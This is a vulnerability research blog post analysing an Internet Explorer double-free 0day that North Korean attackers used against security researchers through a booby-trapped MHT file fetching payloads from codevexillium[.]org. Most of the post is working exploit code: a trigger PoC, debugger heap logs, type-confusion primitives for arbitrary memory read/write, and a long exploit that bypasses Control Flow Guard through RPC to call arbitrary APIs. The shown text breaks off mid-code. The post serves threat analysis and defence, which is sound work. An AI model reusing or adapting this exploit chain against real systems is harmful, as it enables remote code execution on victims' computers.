Vulnerability Research
Internet Explorer 0day Analysis
Internet Explorer 0day Analysis


EnkiWhiteHat
2024. 4. 17.
Content
Overview
Google and Microsoft have published their analysis results on North Korean hacking attacks targeting security researchers. As previously known, similar SNS-based attacks were also attempted against Enki's researchers.
However, since the hacking attack was obvious, the attacker's attempt failed, and we were instead able to secure logs from when the attack was being attempted. In this post, we will share our analysis results of the Internet Explorer 0day attack that was not covered in the publicly released analysis of Chrome, Visual Studio, and other attacks.
Initial Attack
The attacker approached us requesting participation in modifying Chrome exploit code for macOS targets, and delivered a document containing Chrome vulnerability code as a "Chrome_85_RCE_Full_Exploit_Code.mht" file. The file is an MHTML file used for local storage when visiting websites using the Internet Explorer browser.
While some content of this file can be viewed in Chrome, it was designed so that the full content can only be read when JavaScript functionality is enabled and button actions are working. This is presumed to be an attempt to induce attack targets to use the Internet Explorer browser.

When script execution is allowed, it downloads additional payloads twice from a remote location (codevexillium[.]org), and the secondary payload contains exploit code that attacks vulnerabilities in the Internet Explorer browser.
Exploit Analysis
Root Cause Analysis
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> /* IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware Tested on Windows 10 Pro 19042.746, IE11, x64 (20e0.2140): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript9!Js::DataView::SetValue<int,int *>+0x48: 6c903c89 890411 mov dword ptr [ecx+edx],eax ds:002b:41414141=???????? 1:023:x86> r eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8 eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 1:023:x86> vertarget Windows 10 Version 19042 MP (8 procs) Free x64 Product: WinNt, suite: SingleUserTS Edition build lab: 19041.1.amd64fre.vb_release.191206-1406 */ String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } var god var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var leak = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = leak var memory = new Uint32Array(dump(hd2.nodeValue))[6] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var tmp = new Array(0x10) var mem = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) tmp[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, tmp[4])) setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) mem[i] = tmp[i] mem[4] = bs + 0x40 mem[16] = vt mem[17] = gc mem[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null write(0x41414141, 0x42424242, 32) </script> </body> </html>
The above is PoC code that triggers the bug extracted from the exploit code to analyze the root cause of the vulnerability. Analysis results confirmed that the bug used by the attacker is a Double Free bug occurring in the attribute value release part of DOM objects.
eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbb4c4 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 12560f70: 12564ff0 20010 - 12564000 22000 6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 778c158b ntdll!RtlDebugAllocateHeap+0x0000003c 77881445 ntdll!RtlpAllocateHeap+0x00065745 7781ad5e ntdll!RtlAllocateHeap+0x0000013e 76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641] 75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f 7559524f OLEAUT32!SysAllocString+0x0000007f 665249eb MSHTML!FormsAllocStringW+0x00000015 66bcaafe MSHTML!CAttrArray::Set+0x00000255 66b5f589 MSHTML!CBase::InvokeAA+0x0000010e 66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222 66816392 MSHTML!CElement::Var_setAttribute+0x00000152 668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString 01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117 03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb 04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd 05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32 06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540 eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8 eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbbbf0 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 12560f70: 12564000 22000 6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2 778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c 778805db ntdll!RtlpFreeHeap+0x00066d3b 778194d8 ntdll!RtlFreeHeap+0x00000478 76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687] 755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7 755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d 755faeca OLEAUT32!SysReleaseString+0x0000001a 755c6b3e OLEAUT32!SysFreeString+0x00000013 6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026 66b83950 MSHTML!CAttrArray::Free+0x00000117 66f29271 MSHTML!CAttrArray::Clear+0x000000eb 66f376ad MSHTML!CElement::clearAttributes+0x000000fd 6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString 01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c 03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f 04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b 05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1 06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb 07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d 08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
From the debugging log, we can confirm that the already freed heap area is being freed once again through the OLEAUT32!SysFreeString
function. The OLEAUT32!SysFreeString
API is used when releasing string data attributes bound to DOM objects, and this API internally manages the memory to be freed through the APP_DATA::FreeCachedMem
function.
At this time, data of size 0x8000 or larger doesn't go through the APP_DATA
memory manager's cache function and is immediately freed through the default process heap memory manager, thus avoiding the effects of memory protection features such as Isolated Heap
and Delayed free
currently applied to IE browser.
Arbitrary Memory R/W
var abf = new ArrayBuffer(0x20010) var fake = new ArrayBuffer(0x100) function alloc1() { // allocate 0x20010 var view = new DataView(abf) var str = '' for (var index = 4; index < abf.byteLength - 2; index += 2) str += '%u' + pad0(view.getUint16(index, true).toString(16)) var result = document.createAttribute('alloc1') result.nodeValue = unescape(str) return result } function alloc2() { // allocate 0x20010 var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) var reseult = document.createAttribute('alloc2') result.nodeValue = dic1.items() return result }
Due to the double free bug, the alloc1
and alloc2
functions use different types of objects but allocate data to the same memory address space, allowing us to obtain Type Confusion conditions.
To execute additional exploit code, the attacker creates a Fake ArrayBuffer with buffer address 0x0 and size 0x7FFFFFFF, then creates a DataView
object that can read and write the entire user space memory of the process.
var dv = new DataView(fake_unlimit_arraybuffer) function read(addr, size) { switch (size) { case 8: return dv.getUint8(addr) case 16: return dv.getUint16(addr, true) case 32: return dv.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return dv.setUint8(addr, value) case 16: return dv.setUint16(addr, value, true) case 32: return dv.setUint32(addr, value, true) } } write(0x41414141, 0x42424242, 32) /* First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242 eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 jscript9!Js::DataView::SetValue<int,int *>+0x3a: 663c5565 890411 mov dword ptr [ecx+edx],eax ds:0023:41414141=???????? */
After creating the DataView
, additional work is performed to enable arbitrary API calls using read/write utility functions.
Arbitrary Function Call
function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && findPEbase(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function findPEbase(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) }
In a situation where access to the entire process memory is possible, the attacker implements utility functions as shown above to analyze the internal state of the process and prepare to call necessary APIs arbitrarily.
In this exploit code, if Control Flow Guard is applied, it bypasses this protection mechanism, and the attacker abuses the RPC mechanism provided by the Windows operating system for arbitrary API calls.

By configuring memory as shown above, the attacker was able to freely call arbitrary APIs with arguments through the rpcrt4!Invoke(...)
function, starting from the rpcrt4!NdrServerCall2(...)
function.
The following is PoC exploit code that neutralizes protection mechanisms such as CFastDOM::ValidateCall
and Control Flow Guard
, and executes shellcode:
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, arr) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } function writeData(addr, data) { for (var i = 0; i < data.length; ++i) write(addr + i, data[i], 8) } function addrOf(obj) { arr[0] = obj return read(pArr, 32) } function strcmp(str1, str2) { str1 = (typeof str1 == 'string') ? str1 : toStr(str1) str2 = (typeof str2 == 'string') ? str2 : toStr(str2) return str1.toLowerCase() == str2.toLowerCase() } function memcpy(dst, src, size) { for (var i = 0; i < size; ++i) write(dst + i, read(src + i, 8), 8) } function toStr(addr) { var str = '' while (true) { var c = read(addr, 8) if (c == 0) break str += String.fromCharCode(c) addr++ } return str } function newStr(str) { var buffer = createArrayBuffer(str.length + 1) for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8) write(buffer + i, 0, 8) return buffer } function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && isPE(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function isPE(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function winVer() { var appVersion = window.navigator.appVersion var ver = 0 if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) { ver = 100 } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) { ver = 81 } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) { ver = 80 } else { ver = 70 } return ver } function createArrayBuffer(size) { var ab = new ArrayBuffer(size) var bs = read(addrOf(ab) + 0x1c, 32) map.set(bs, ab) return bs } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) } function readyRpcCall(func) { var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation') var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo') var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable') write(RPC_DISPATCH_TABLE_Buffer, func, 32) } function setArgs(args) { var buffer = createArrayBuffer(48) for (var i = 0; i < args.length; ++i) { write(buffer + i * 4, args[i], 32) } _RPC_MESSAGE.set(msg, 'Buffer', buffer) _RPC_MESSAGE.set(msg, 'BufferLength', 48) _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000) return buffer } function callRpcFreeBufferImpl() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer) return call(rpcFree) } function callRpcFreeBuffer() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') var result = read(buffer, 32) callRpcFreeBufferImpl() return result } function call2(func, args) { readyRpcCall(func) var buffer = setArgs(args) call(msg) map.delete(buffer) return callRpcFreeBuffer() } function call(addr) { var result = 0 write(paoi + 0x18, addr, 32) try { xyz.normalize() } catch (error) { result = error.number } write(paoi + 0x18, patt, 32) return result } function prepareCall(addr, func) { var buf = createArrayBuffer(cattr.size()) var vft = read(patt, 32) memcpy(addr, patt, cbase.size()) memcpy(buf, vft, cattr.size()) cbase.set(addr, 'pvftable', buf) cattr.set(buf, 'normalize', func) } function createBase() { var isWin7 = winVer() == 70 var size = isWin7 ? 560 : 572 var offset = isWin7 ? 540 : 548 var addr1 = createArrayBuffer(size + cbase.size()) var addr2 = createArrayBuffer(48) write(addr1 + offset, addr2, 32) write(addr2 + 40, 8, 32) write(addr2 + 36, 8, 32) return { size: size, addr: addr1 } } function aos() { var baseObj = createBase() var addr = baseObj.addr + baseObj.size var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') prepareCall(addr, I_RpcTransServerNewConnection) return read(read(call(addr)-0xf8, 32), 32) } function SymTab(size, sym) { this.size = function() { return size } this.set = function(addr, name, value) { var o = sym[name] write(addr + o.offset, value, o.size) } this.get = function(addr, name) { var o = sym[name] return read(addr + o.offset, o.size) } } function initRpc() { var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0] var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2') var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate') var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree') var RPCMessageObject = createArrayBuffer(cbase.size()) var buffer = createArrayBuffer(0x100) var buffer2 = createArrayBuffer(0x200) var AttributeVtable = read(patt, 32) var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size()) var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size()) var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size()) var rpcProcStringBuffer = createArrayBuffer(data.length) writeData(rpcProcStringBuffer, data) var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size()) var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size()) var NdrServerCall2Buffer = createArrayBuffer(4) write(NdrServerCall2Buffer, NdrServerCall2, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 0x40, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2) cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68) write(RPCMessageObject + 76, 1, 32) syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32)) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size()) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000) _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16) _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000) _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer) _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48) return RPCMessageObject } function rpcFree() { var Cbase = createArrayBuffer(cbase.size()) var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer') var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var AttributeVtable = read(patt, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 64, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer) cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer) cbase.set(Cbase, 'pSecurityContext', Cbase + 68) write(Cbase + 76, 1, 32) return Cbase } function CFGObject(baseAddress) { var PEAddr = isPE(baseAddress) var eat = PEAddr + 120 var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32) var size = read(LOAD_CONFIG_DIRECTORY, 32) var sizeOfImage = read(PEAddr + 0x50, 32) var CFGSymbolTable = new SymTab(0x5c, { '___guard_check_icall_fptr': { offset: 72, size: 32 } }) var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr') this.getCFGAddress = function() { return guard_check_icall_fptr_address } this.getCFGValue = function() { if (size < CFGSymbolTable.size()) return false var currentCFGValue = read(guard_check_icall_fptr_address, 32) var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage) return !isValidAddress; } } function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer]) map.delete(tmpBuffer) } var cbase = new SymTab(0x60, { 'pvftable': { offset: 0x0, size: 32 }, 'pSecurityContext': { offset: 0x44, size: 32 } }) var cattr = new SymTab(0x32c, { '__vtguard': { offset: 0x48, size: 32 }, 'SecurityContext': { offset: 0xc8, size: 32 }, 'JSBind_TypeId': { offset: 0x160, size: 32 }, 'JSBind_InstanceOf': { offset: 0x164, size: 32 }, 'normalize': { offset: 0x28c, size: 32 } }) var syntaxObject = new SymTab(0x14, { 'SyntaxVersion.MajorVersion': { offset: 0x10, size: 16 } }) var PRPC_CLIENT_INTERFACE = new SymTab(0x44, { 'Length': { offset: 0, size: 32 }, 'InterfaceId.SyntaxVersion.MajorVersion': { offset: 20, size: 16 }, 'TransferSyntax.SyntaxVersion.MajorVersion': { offset: 40, size: 16 }, 'DispatchTable': { offset: 44, size: 32 }, 'InterpreterInfo': { offset: 60, size: 32 }, 'Flags': { offset: 64, size: 32 } }) var _MIDL_SERVER_INFO_ = new SymTab(0x20, { 'pStubDesc': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, 'ProcString': { offset: 8, size: 32 }, 'FmtStringOffset': { offset: 12, size: 32 } }) var _MIDL_STUB_DESC = new SymTab(0x50, { 'RpcInterfaceInformation': { offset: 0, size: 32 }, 'pfnAllocate': { offset: 4, size: 32 }, 'pfnFree': { offset: 8, size: 32 }, 